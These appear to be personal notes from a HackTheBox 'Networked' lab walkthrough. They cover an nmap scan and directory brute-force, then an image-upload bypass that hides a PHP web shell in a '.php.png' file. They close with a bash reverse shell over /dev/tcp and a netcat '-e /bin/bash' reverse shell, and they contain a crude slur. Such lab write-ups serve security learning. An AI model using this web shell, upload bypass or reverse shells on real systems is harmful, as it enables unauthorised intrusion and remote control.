site
 waiting on nmap lets try /upload and /gallery  cocksuckers
users:
Tyler
Cameron
┌──(root㉿kali)-[~]
└─# nmap -sC -A -p- -T4 10.10.10.146
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-26 01:53 EDT
Nmap scan report for 10.10.10.146
Host is up (0.046s latency).
Not shown: 65316 filtered tcp ports (no-response), 216 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
443/tcp closed https
Aggressive OS guesses: Linux 5.0 (92%), Linux 3.10 - 4.11 (92%), Linux 5.1 (91%), Linux 3.18 (89%), Linux 3.2 - 4.9 (89%), HP P2000 G3 NAS device (89%), Linux 3.13 (88%), Linux 3.13 or 4.2 (88%), Linux 3.16 - 4.6 (88%), Linux 4.10 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 45.77 ms 10.10.14.1
2 45.78 ms 10.10.10.146
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 224.12 seconds
--> 443 being closed but existing seems to be a hint here considering the name of the box is networked
403 GET 8l 22w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 7l 24w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 8l 40w 229c http://10.10.10.146/
301 GET 7l 20w 235c http://10.10.10.146/backup => http://10.10.10.146/backup/
301 GET 7l 20w 236c http://10.10.10.146/uploads => http://10.10.10.146/uploads/
200 GET 201l 582w 10240c http://10.10.10.146/backup/backup.tar
https://blog.remirepo.net/post/2013/01/13/PHP-and-Apache-SetHandler-vs-AddHandler
this involved some understanding of code but basically reading 0xdf's post on this blog was the best: https://0xdf.gitlab.io/2019/11/16/htb-networked.html
We cannot upload files that do not end in .png or other image extensions (they are whitelisted, not blacklisted) We cannot upload files that do not have a MIME type that doesn't match the image file (meaning the headers of the file need to match with what we upload)
We are able to bypass this by literally opening vim on some stock img file and adding shellcode to the data in the image
<?php echo "START<br/><br/>\n\n\n"; system($_GET["cmd"]); echo "\n\n\n<br/><br/>END"; ?>
When we do this in combination with adding file extension in burp (cat.php.png) we are able to execute commands

 https://blog.remirepo.net/post/2013/01/13/PHP-and-Apache-SetHandler-vs-AddHandler
As written in Apache documentation, the suffix presence, anywhere in the file name, will activate the engine. This can raise a security problem, in a public upload space, when a lack of control will allow a user to send an **image.php.png** file and execute it.
The standard case is that php will only process files ending in `.php`. The configuration error here means that as long as `.php` is somewhere in the name it will process as php. I’ll look into the configuration a bit more in [Beyond Root](https://0xdf.gitlab.io/2019/11/16/htb-networked.html#beyond-root---php-misconfiguration).
php command execution sending shell back to yourself
To get a real shell, I just visited
http://10.10.10.146/uploads/10_10_14_24.php.png?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.24%2F4444%200%3E%261
echo nc -e /bin/bash 10.10.14.24 443 | base64 -w0